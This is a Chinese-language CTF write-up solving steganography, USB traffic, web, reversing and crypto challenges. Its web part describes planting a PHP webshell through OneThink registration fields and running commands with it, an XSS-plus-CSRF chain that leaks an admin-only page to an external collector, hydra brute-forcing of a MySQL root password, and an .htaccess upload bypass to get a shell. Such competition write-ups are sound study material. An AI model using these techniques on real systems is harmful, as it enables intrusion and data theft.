“巅峰极客”CTF WriteUp ### MISC #### 签到题 flag就在题目描述里 flag{the_greatest_geek} #### loli 图片下载下来,根据题目hint,想到使用0xFF异或整个文件,脚本如下: ``` #!/usr/bin/env python # coding=utf-8 def xor(): with open('./1.png', 'rb') as f, open('xor.png', 'wb') as wf: for each in f.read(): wf.write(chr(ord(each) ^ 0xff)) if __name__ == '__main__': xor() ``` 得到新的png文件 使用二进制编辑器观察尾部,看到提示“black and white”,以及“IEND”标识,这是png的文件尾部,暗示该文件中隐藏了一个png文件。 使用 foremost 命令直接提取或者直接手扣一个png 观察png文件,可以看到色块分为11列,每列隔行的色块永远是黑色,这说明应该横向读取图片,而列中的横长条由8个小色块组成,显然其代表的是一个字节的数据。 按上述思路提取该信息: ``` import matplotlib.image as mpimg res_str = [] res = [] def readpng(): png = mpimg.imread('./out.png') yy, xx, depth = png.shape for y in range(yy): if y % 2 == 0: for x in range(1, xx - 1, 9): _str = "0b" + str(int(png[y][x][0])) + str(int(png[y][x + 1][0])) + str(int(png[y][x + 2][0])) + str(int(png[y][x + 3][0])) + str(int(png[y][x + 4][0])) + str(int(png[y][x + 5][0])) + str(int(png[y][x + 6][0])) + str(int(png[y][x + 7][0])) res_str.append(_str) res.append(bin2hex(_str)) print res_str with open('res.bin', 'wb') as f: for each in res: f.write(chr(each)) def bin2hex(_bin="0b101"): return int(_bin, 2) ^ 0xFF if __name__ == '__main__': readpng() ``` 打开即可看到flag > cat res.bin Let's look this lyrics:The black sky hangs down,The bright stars follow,The insect winged insect flies,Who are you missing,The space star bursts into tears,The ground rose withers,The cold wind blows the cold wind to blow,So long as has you to accompany,The insect fly rests,A pair of pair only then beautiful,Did not fear darkness only fears brokenheartedly,No matter is tired,Also no matter four cardinal points.Emmmm,It looks like you don't care about this lyrics. Well, this is flag:flag{e0754197-e3ab-4d0d-b98f-96174c378a34}Let's look this lyric #### Warmup 使用Stegsolve打开图片,分别提取红、绿、蓝三个通道的最低位: ![](https://i.imgur.com/6O3TQOz.png) 发现是Ook!和brainfuck,使用在线解密: https://www.splitbrain.org/services/ook ![](https://i.imgur.com/gaSVg8Z.png) 三段拼起得到完整flag:flag{db640436-7839-4050-8339-75a972fc553c} #### flows 拿到一个pcap包,wineshark打开; USB协议,tshark提取之后异常,回wineshark找线索; ![](https://i.imgur.com/xQIayCe.png) 把字节分组以原始数据保存出来,得到两个tips: ![](https://i.imgur.com/JpeUn0h.png) 排序,将两个最大的数据导出为1.pcap和2.pcap; 在kali里: > tshark -r 1.pcap -T fields -e usb.capdata > 1.txt tshark -r 2.pcap -T fields -e usb.capdata > 2.txt 将leftover capture data里的内容单独提取出来; 参考:https://www.anquanke.com/post/id/85218 直接脚本将其中一个txt跑出来为:`flag[u5b-key` Tips里提醒了shirt问题,则为:`flag{u5b_key` 第二个是鼠标的数据; ![](https://i.imgur.com/ZcRB4Py.png) 但里面没有鼠标移动的偏移值,只有前面的点击值,tips里面也说只用关心一个字节; 将鼠标的text文件只保留第一个字节,00为没有点击,01是鼠标左键,02是鼠标右键; ![](https://i.imgur.com/RK1j0xP.png) 用Sublime整理好,去掉没有点击的00; 保留01和02,即左键与右键; 猜测应为左键为0,右键为1,做一个bin2str; ![](https://i.imgur.com/TWwlw2h.png) ![](https://i.imgur.com/Pt8eqYV.png) flag{u5b_keybo4rd_m0use} ### Web #### A Simple CMS 看到网站是OneThink做的,百度搜了下该CMS存在漏洞,参考文章过程即可得到`flag`。但是其中的缓存文件做了修改,需要在本地复现一下,确定缓存文件名。 扫描网站敏感目录,发现`www.zip`文件: ![](https://i.imgur.com/m81oR5V.png) 下载文件,在本地构建复现环境,首先删除`onethink/onethink/Application/Install/Data/install.lock`文件,然后访问`install.php` 依次使用 > %0a$a=$_GET[a];// 和 > %0aecho `$a`;// 注册账号,在依次登录账号,发现存在`Runtime/Temp/onethink_d403acece4ebce56a3a4237340fbbe70.php`文件,且文件内容如下: ``` ``` 说明我们的一句话上传成功,文件名为`Runtime/Temp/onethink_d403acece4ebce56a3a4237340fbbe70.php`,该文件名不改变。 在服务器上重复步骤2,getshell ![](https://i.imgur.com/Oj0HPjT.png) 在tmp目录下获取flag: `http://ddd27aa160354000ba7eba4b621e08cd9274bde410054da1.game.ichunqiu.com/Runtime/Temp/onethink_d403acece4ebce56a3a4237340fbbe70.php?a=cat%20/tmp/flag` #### Online Mysql Run. 题目地址: [http://106.75.35.230:9001](http://106.75.35.230:9001/) ![首页](http://oojzo33mi.bkt.clouddn.com/18-7-22/24950723.jpg) 功能就是给了一个mysql的沙盒,看这个页面,估计就是利用mysql的回显xss,然后通过组合csrf,提交给后台. mysql输入点做了简单过滤,过滤了尖括号,随便用个字符串编码函数,我这里使用用unhex绕过. ![](http://oojzo33mi.bkt.clouddn.com/18-7-22/58948650.jpg) select `unhex('3C7363726970743E616C6572742831293C2F7363726970743E');` ![](http://oojzo33mi.bkt.clouddn.com/18-7-22/47717793.jpg) 一开始打了cookie,发现返回为空. ![](http://oojzo33mi.bkt.clouddn.com/18-7-22/88783184.jpg) 估计也不会这么简单,继续找可以利用的点. 后来在头里面找到了后台`admin_zzzz666.php`,由于现在环境已经崩了,没办法截图,直接访问会返回: `403: only 127.0.0.1 can find me, so you can get this: http://127.0.0.1/runsql.php ` 构造csrf payload向`http://127.0.0.1/runsql.php`请求: ```html ``` xss平台设置: ![](http://oojzo33mi.bkt.clouddn.com/18-7-22/84996286.jpg) 得到的源码内容为: ```html 403: only 127.0.0.1 can find me, so you can get this: http://127.0.0.1/runsql.php Online Mysql Run Admin Index: I am l3m0n tree. ``` 可以猜到,flag就在`./static/img/iamsecret_555.jpg`这里了. 直接访问返回403,通过上面的方法,尝试读图片内容,返回居然是404. ```html 404 Not Found Not Found The requested URL /static/img/iamsecret_555.jpg was not found on this server. Apache/2.4.7 (Ubuntu) Server at 127.0.0.1 Port 80 ``` 没办法,只能靠老办法canvas截图了~ 用html2canvas改一下: 项目地址:https://github.com/Lz1y/frame2canvas ![](http://oojzo33mi.bkt.clouddn.com/18-7-22/18959826.jpg) payload: `` hex编码后放入csrf的payload中,即可在监听端口收到图片在base64处理后的字符串. 然后转成图片. ![](http://oojzo33mi.bkt.clouddn.com/18-7-22/53215807.jpg) Get 最后附上md5爆破截断的python3脚本: ```python import hashlib def getHashcode(string): for i in range(10000000000): hash_md5 = hashlib.md5(str(i).encode('utf-8')) res = hash_md5.hexdigest() if res[0:6] == string: print(i) exit() ``` #### BabyWeb > 说明,这题写WP的时候环境已经关闭了所以可能会缺少一些关键截图 首先题目提示需要信息收集,端口扫描发现开放了3306端口 使用hydra爆破成功获得root密码`1q2w3e4r5t6y` ![](https://i.imgur.com/zFbwJac.jpg) 使用工具远程连入数据库 ![](https://i.imgur.com/9sFd0ZN.png) 发现上传的文件的文件名全部存在`file`表中 ![](https://i.imgur.com/yRy8x1R.png) 从数据库中获得账号密码 > BabyWeb@my.lol/babyweb@1990 登录后台发现存在文件上传的点,但是获取不到文件的路径这里就可以利用上一步的数据库来找到我们上传的文件 ![](https://i.imgur.com/gX2m1uI.png) backinfo 的type控制上传文件的白名单,但是php php5都不允许,只有htaccess可以 我们先上传一个`.htaccess`来控制解析,然后再上传我们的shell ![](https://i.imgur.com/7tpuSbd.png) 我们再上传`.abc`后缀的一句话便可以成功getshell了 ![](https://i.imgur.com/BKR5E7o.png) ***非常规解*** 连上数据库发现存在pet1表查询表发现前面队伍的操作 ![](https://i.imgur.com/zqNYBq6.png) 跑出密码ssh连上上车 ![](https://i.imgur.com/3RBVkJ8.png) ### Reverse #### Simple Base-N IDA打开,从pdb路径可以leek出现一些信息 ![](https://i.imgur.com/4hpsuev.png) 可以看到有Base32的字样,估计算法里可能会出现相关信息 继续加载 简单重命名一下,注释上一眼就能看出来的结构 ![](https://i.imgur.com/mZ7i6vx.png) change函数里对Input做了变换,然后下面与一段字符串进行比较 注意这个地方break出去是继续跑下面的代码,并不是直接结束 ![](https://i.imgur.com/OUJdJmq.png) 从插件显示的花括号对应可以看到,break出去如果v7为true则会往下判断而不是直接到try a little bit harder那里return 因此上面的strcmp是个障眼法,实际上要在下面操作 分别查看sub_4012C0和sub_401310 做出一定整理后,4012C0如下所示 ![](https://i.imgur.com/pqzS7Oa.png) 那个全局字符串变量估计就是base32的table了,没联想起来也不要紧,先放着就好 反正这里对全局变量进行了一些变换和修改,继续往下看 401310函数中的核心是另一个函数,长得比较乱,但是简单通过几个变量可以猜出来功能 ![](https://i.imgur.com/ia22uvq.png) &0x1f,取bin可以发现就是五位,这正符合base32的编码方法 "====", 这个补齐方法也是base系的,而只有base32中才会出现四个等号 再根据之前看到的pdb信息,就基本可以确认该函数为base32_encode了 注意Table是跟正宗b32不同的,因为通过之前一个函数修改过表了,因此解密的时候也需要考虑这一点 main函数中将b32后的input与一串固定字符串比较,要求相等 解法显然就是做b32_decode后反change即可 这里的Table可以自己仿照运算生成,也可以直接用动态调试dump出Table来 然后b32的算法有点难找,我是直接找到python的lib里base64.py中b32decode函数的实现,扒过来以后改表即可 然后关于change变换函数,稍微理一理还是挺清晰的 ![](https://i.imgur.com/a1coMjx.png) 针对大小写字母用不同的方法变换,要注意的是这里的%26会使得信息丢失,因此逆向的时候要做一下处理 逆change的脚本如下: 通过while判断是否为大/小写字母,然后不断累加26,将丢去的信息补回 得到Table`"NoPqRsTuVwXyZaBcDeFgHiJkLm567234"`后通过源码进行b32decode,最后再change逆运算一下即可 py2脚本 ``` from __future__ import print_function #! /usr/bin/env python """RFC 3548: Base16, Base32, Base64 Data Encodings""" # Modified 04-Oct-1995 by Jack Jansen to use binascii module # Modified 30-Dec-2003 by Barry Warsaw to add full RFC 3548 support import re import struct import binascii __all__ = [ # Legacy interface exports traditional RFC 1521 Base64 encodings 'encode', 'decode', 'encodestring', 'decodestring', # Generalized interface for other encodings 'b64encode', 'b64decode', 'b32encode', 'b32decode', 'b16encode', 'b16decode', # Standard Base64 encoding 'standard_b64encode', 'standard_b64decode', # Some common Base64 alternatives. As referenced by RFC 3458, see thread # starting at: # # http://zgp.org/pipermail/p2p-hackers/2001-September/000316.html 'urlsafe_b64encode', 'urlsafe_b64decode', ] _translation = [chr(_x) for _x in range(256)] EMPTYSTRING = '' def _translate(s, altchars): translation = _translation[:] for k, v in altchars.items(): translation[ord(k)] = v return s.translate(''.join(translation)) str = "NoPqRsTuVwXyZaBcDeFgHiJkLm567234" _b32alphabet = {i:str[i] for i in range(32)} _b32tab = _b32alphabet.items() _b32tab.sort() _b32tab = [v for k, v in _b32tab] _b32rev = dict([(v, (k)) for k, v in _b32alphabet.items()]) def b32decode(s, casefold=False, map01=None): """Decode a Base32 encoded string. s is the string to decode. Optional casefold is a flag specifying whether a lowercase alphabet is acceptable as input. For security purposes, the default is False. RFC 3548 allows for optional mapping of the digit 0 (zero) to the letter O (oh), and for optional mapping of the digit 1 (one) to either the letter I (eye) or letter L (el). The optional argument map01 when not None, specifies which letter the digit 1 should be mapped to (when map01 is not None, the digit 0 is always mapped to the letter O). For security purposes the default is None, so that 0 and 1 are not allowed in the input. The decoded string is returned. A TypeError is raised if s were incorrectly padded or if there are non-alphabet characters present in the string. """ quanta, leftover = divmod(len(s), 8) if leftover: raise TypeError('Incorrect padding') # Handle section 2.4 zero and one mapping. The flag map01 will be either # False, or the character to map the digit 1 (one) to. It should be # either L (el) or I (eye). if map01: s = _translate(s, {'0': 'O', '1': map01}) if casefold: s = s.upper() # Strip off pad characters from the right. We need to count the pad # characters because this will tell us how many null bytes to remove from # the end of the decoded string. padchars = 0 mo = re.search('(?P[=]*)$', s) if mo: padchars = len(mo.group('pad')) if padchars > 0: s = s[:-padchars] # Now decode the full quanta parts = [] acc = 0 shift = 35 for c in s: val = _b32rev.get(c) if val is None: raise TypeError('Non-base32 digit found') acc += _b32rev[c] << shift shift -= 5 if shift < 0: parts.append(binascii.unhexlify('%010x' % acc)) acc = 0 shift = 35 # Process the last, partial quanta last = binascii.unhexlify('%010x' % acc) if padchars == 0: last = '' # No characters elif padchars == 1: last = last[:-1] elif padchars == 3: last = last[:-2] elif padchars == 4: last = last[:-3] elif padchars == 6: last = last[:-4] else: raise TypeError('Incorrect padding') parts.append(last) return EMPTYSTRING.join(parts) # RFC 3548, Base 16 Alphabet specifies uppercase, but hexlify() returns # lowercase. The RFC also recommends against accepting input case r = "weNTDk5LZsNRHk6cVogqTZmFy2NRP7X4ZHLTBZwg" r = b32decode(r) print(r) for i in r: v = ord(i)-ord('a') if(v>=0 and v<26): k = v+ord('T') while(k<=ord('a')): k += 26 print(chr(k), end='') else: v = ord(i) - ord('A') if (v >= 0 and v < 26): k = (v + ord('4')) while(k<=ord('A')): k += 26 print(chr(k), end='') else: print(i, end='') ``` > flag{Y@u_Kn@W_b@s332_@Nd_r0t13} #### Input your luncky number_string main函数中通过cin接收输入,下面做了一大堆操作 但是通过对input变量的跟踪,可以发现都没有什么卵用 与输入无关,因此我们根本不需要去读,反正都是正向操作 ![](https://i.imgur.com/qmPB4BI.png) 只有箭头所指的部分才需要关注 于是查看sub_401100 > v3 = _mm_cvtsi32_si128(input); v4 = _mm_unpacklo_epi8(v3, v3); v5 = _mm_shuffle_epi32(_mm_unpacklo_epi16(v4, v4), 0); 最开头这三个处理非常丑,要不挨个去查手册,要不就直接动调观察 汇编指令是三条 > punpcklbw xmm0, xmm0 punpcklwd xmm0, xmm0 pshufd xmm1, xmm0, 0 全部是交叉赋值的,分别将1字节的input变为2字节、4字节、16字节 ![](https://i.imgur.com/rWJaaxG.png) (试了OD和IDA都看不到XMM寄存器的值,最后用x32dbg才成功跟踪到) 下面两段循环实际上都是逐字节异或 因为第一段以XMM寄存器来操作,单位必须是16个字节,对于零头就无能为力了,于是使用第二段循环来逐字节操作 不知道是出题人故意设置的干扰还是编译器为了加速而优化出来的23333 ![](https://i.imgur.com/d5j8cvg.png) 那么下一个问题就是key啦 回头看参数a2对应的值,是0x401000+v6处的代码 观察加密后的HEX ![](https://i.imgur.com/P86GGLY.png) (动调可知起始字节在0x89之后) 这里有大量的连续0x5A出现,在PE文件中通常会有大量的0x00作为填充,这里由于加密字节数太少所以没有用到上述的论据 不过连续三个0x5A通常一般是0x00000001之类的值加密得到的,因此还是只得一试的 之后还有0x7E、0x1E的出现频率比较高,但不连续,如果0x5A失败的话也可以试一试~ (实在不行也可以手动爆破,好几个交流的朋友都是一个一个试的,甚至还有一个小可爱是从255倒着试的23333333333333333333333333) 0x5A对应十进制的90,即NOP,这个数字还是比较有意义的233 输入以后便回显了flag(cin接受的是int类型,因此直接输入数字即可,而不用chr) 我们继续解密查看一下代码 解密IDC脚本 ``` auto i;for(i=0;i<0x61;i++){PatchByte(0x401013+i, Byte(0x401013+i)^90);} ``` ![](https://i.imgur.com/GnoXHHp.png) 还是挺简单的,后面字节直接拷贝,前4个字节异或解密覆盖上去就完了 #### Interesting Pointer 一堆变量初始化直接放过,可以看到它读入data文件,所有内容放到了buff中 接着判断strlen和ftell给出的文件结尾是否相等,相等则结束 也就意味着文件中必须存在\x00来截断strlen 注意文件读取几乎晚于所有变量初始化,因此这里存在溢出点 处理过程如下 ![](https://i.imgur.com/yR0C5xU.png) 依次调用3个func,将返回值放在buff1、2、3中,要求buff[3]的值为0 3个Func的功能依次为exchange(buff[x], buff[y]), calc1(buff[x], buff[y]), calc2(buff[x], buff[y]) exchange固定 `return 1` calc1具体过程为: `return abs(x + y) - abs(x) - abs(y) + 2` calc2具体过程为: `return abs(x) + abs(y) - abs(x + y) + 2` a-|a+1|+3 而三次函数的参数和返回值分别是 x = 3 y = 4 buff[1] = exchange(buff[x], buff[y]) buff[2] = calc1(buff[1], buff[2]) buff[3] = calc2(buff[2], buff[3]) 这里我把x和y分离出来写的原因是,中间读入可以覆盖掉初始化,从而控制exchange的两个参数 首先如果不溢出的话,calc2想要返回0可以通过0x7fffffff和0x80000001来实现 > 由|x|+|y|>=|x+y|,即|x|+|y|-|x+y|+2>=2可知正常情况下无解 > 但是|x|+|y|-|x+y|+2==0x1 00000000却是有解的,令x、y互为相反数,则|x|==|y|==0x7fffffff 而calc1却不可能制造出这两个返回值,因此无解 calc1也很容易返回0, 有且仅有令两个操作数其中之一为-1即可 > 是吗? > 令x, y都为正数, x+y=0x80000001则|x+y|=0x7fffffff,|x|+|y|-|x+y|正好就是2 返回buff[3]为0后,通过之前保存的buff[3]和buff[5]来得出flag 这里其实可以大概猜出来,关键的两个变量就是buff[3]和buff[5]了 然而比赛的时候我没注意这里23333导致从别的角度去考虑造成一堆多解 > 期望解 通过exchange交换calc1和calc2的位置,同时控制buff[3]为-1,则可满足条件 即构造data为 `b"1"*(20+4*3) + b"\xff\xff\xff\xff" + b"\x07\x00\x00\x00" + b"\x08\x00\x00\x00"` 生成flag的关键参数就是-1和8 > 非预期解 ***交换顺序非预期*** 这是最容易看到的多解,7和8两个数作为交换参数,当然8和7也是可行的,而生成flag提取的却只有最后一个参数 这个只有1种情况,试一下也可以接受 ***calc1的参数非预期*** 利用之前所说的calc1的溢出计算,使x和y都为正数的情况下和为0x80000001,则可同样使返回值为0 例如构造data为 `b"1"*(20+4*3) + b"\xff\xff\xff\x7f" + b"\x07\x00\x00\x00" + b"\x08\x00\x00\x00"` 通过交换过后的calc2来获得其中一个参数,由于exchange返回值只为1,从而可知calc2可获得的正数结果只有2 那么对应只要控制buff[3]为0x7fffffff即可 这样产生了2个多解 ***exchange的参数非预期*** 既然可以交换,凭什么非要交换calc1和calc2? 在buff前面有那么多可控字段,完全可以在其中填充上一个函数地址,然后通过exchange将其与calc2的指针变量交换,这个函数地址可以是calc1,还可以是随便什么返回0的函数 例如构造data为 `b"\x00"*(20+4*3) + b"\xe8\x1f\x40\x00" + b"\x08\x00\x00\x00" + b"\x03\x00\x00\x00"` 这里是利用strlen配合头部为'\0'从而返回0的示例 由于该程序没有ASLR,因此地址全部固定 这种情况下产生的多解就多了去了,一方面交换目标可以随意放置,即使在限制长度的情况下每个交换函数也有前面4个位置可以选择 而更关键的是此种情况下校验通过与否根本与第三个参数无关,因此生成的flag完全没有意义,硬要说的话每个buff[5]都有0x100000000个buff[3]可以组合 ***函数指针覆盖非预期*** 这个是最容易想到的,也是我最早提交的多解 反正都能溢出,凭什么还要通过exchange函数 例如构造data `b"1"*(20+4*3) + b"\xffffffff" + b"\x00"*(2*4) + b"\x97\x13\x40\x00" + b"\x97\x13\x40\x00" 直接将calc2处的指针修改为calc1 具体情况与上面exchange的情况相同,只不过不用通过exchange多此一举,缺点就是长度会长一些 ### Crypto #### XASH 先暴力破解前面hashcash。对于后面的问题,发现当输入长为16时可以求出key。求出key之后,先对 '1'进行hash,然后另一个串就是'1'拼上key的sha1的前15位 ``` import hashlib import socket import string import random import time import sys import math def _recv(x): global s r=s.recv(x) sys.stdout.write(r) return r def recv(x,y='wxh'): global s res='' while True: u=_recv(1024) res+=u if res.find(x)!=-1 or res.find(y)!=-1:return res def send(x): global s s.send(x) def hash(s,ht): if ht=='sha256':return hashlib.sha256(s).hexdigest() if ht=='sha224':return hashlib.sha224(s).hexdigest() if ht=='sha384':return hashlib.sha384(s).hexdigest() if ht=='sha512':return hashlib.sha512(s).hexdigest() if ht=='sha1':return hashlib.sha1(s).hexdigest() if ht=='md5':return hashlib.md5(s).hexdigest() def findcoll(ht,v): rs=0 while hash(str(rs),ht)[-6:]!=v: rs+=1 if rs%100000==0:print rs return str(rs) print findcoll('sha256','06e593') exit() s=socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(('106.75.73.28',20000)) t=recv('such that') t=t[t.find('such that')+len('such that '):] ht=t[:t.find('(X)')] t=t[t.find(' = ')+3:] v=t[:6] print ht,v print rs send(str(rs)+'\n') recv('wxh') ``` ``` import hashlib from hashlib import md5 a=0x5b08abd87fe51a4909115a9f3cce9d2d b=int(('1'*16).encode('hex'),16) print '%x'%(a^b) def xash(data, xkey): assert len(xkey) == 16 if len(data) < len(xkey): data += md5(xkey).digest()[:len(xkey) - len(data)] out = b'' for n in range(len(data)): out += chr( ord(data[n]) ^ ord(xkey[n]) ) return out.encode('hex') print xash('1'*16,('%x'%(a^b)).decode('hex')) print hashlib.sha1(('%x'%(a^b)).decode('hex')).hexdigest() print hashlib.md5(('%x'%(a^b)).decode('hex')).hexdigest() key=('%x'%(a^b)).decode('hex') print xash('11'.decode('hex'),key) print xash('115dbfd120644623fd208ca63c30dbf3'.decode('hex'),key) ```